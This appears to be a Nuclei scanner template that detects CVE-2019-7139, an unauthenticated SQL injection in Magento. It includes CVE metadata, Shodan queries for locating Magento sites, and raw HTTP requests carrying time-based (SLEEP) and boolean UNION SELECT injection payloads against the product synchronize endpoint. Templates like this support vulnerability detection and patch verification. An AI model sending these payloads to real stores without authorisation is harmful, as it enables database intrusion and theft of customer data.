86 lines
3.1 KiB
YAML
86 lines
3.1 KiB
YAML
id: CVE-2019-7139
|
|
|
|
info:
|
|
name: Magento - SQL Injection
|
|
author: MaStErChO
|
|
severity: critical
|
|
description: |
|
|
An unauthenticated user can execute SQL statements that allow arbitrary read access to the underlying database, which causes sensitive data leakage.
|
|
remediation: |
|
|
This issue is fixed in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2.
|
|
reference:
|
|
- https://pentest-tools.com/blog/exploiting-sql-injection-in-magento-with-sqlmap
|
|
- https://www.ambionics.io/blog/magento-sqli
|
|
- https://magento.com/security/patches/magento-2.3.2-2.2.9-and-2.1.18-security-update-13
|
|
- https://github.com/koutto/jok3r-pocs
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-7139
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2019-7139
|
|
cwe-id: CWE-89
|
|
epss-score: 0.00582
|
|
epss-percentile: 0.778
|
|
cpe: cpe:2.3:a:magento:magento:*:*:*:*:open_source:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 4
|
|
vendor: magento
|
|
product: magento
|
|
framework: magento
|
|
shodan-query:
|
|
- http.component:"Magento"
|
|
- cpe:"cpe:2.3:a:magento:magento"
|
|
- http.component:"magento"
|
|
tags: cve,cve2019,sqli,magento
|
|
|
|
flow: http(1) && http(2)
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
host-redirects: true
|
|
max-redirects: 2
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code == 200'
|
|
- 'contains(body, "text/x-magento-init")'
|
|
condition: and
|
|
internal: true
|
|
|
|
- raw:
|
|
- |
|
|
@timeout: 20s
|
|
GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))+OR+(SELECT*FROM+(SELECT+SLEEP((6)))a)%3d1+--+- HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=0)%20--%20- HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=1)%20--%20- HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
stop-at-first-match: true
|
|
matchers:
|
|
- type: dsl
|
|
name: time-based
|
|
dsl:
|
|
- 'duration_1>=6'
|
|
- 'contains(content_type_1, "application/json")'
|
|
condition: and
|
|
|
|
- type: dsl
|
|
name: blind-based
|
|
dsl:
|
|
- 'contains(content_type_2, "application/json") && contains(content_type_3, "application/json")'
|
|
- 'status_code_2 == 200 && status_code_3 == 400'
|
|
- 'len(body_2) == 2 && len(body_3) == 2'
|
|
condition: and
|
|
# digest: 4a0a0047304502201a3e9663dc98735508040110a0f0778160d3bb3c76ea3246f73225c2bd7a22d8022100c3ad7ca4c44b23d865c8dbdd5ff2cc9d7a4172e04f03a427d9bbdcc18c2c5ef5:922c64590222798bb761d5b6d8e72950
|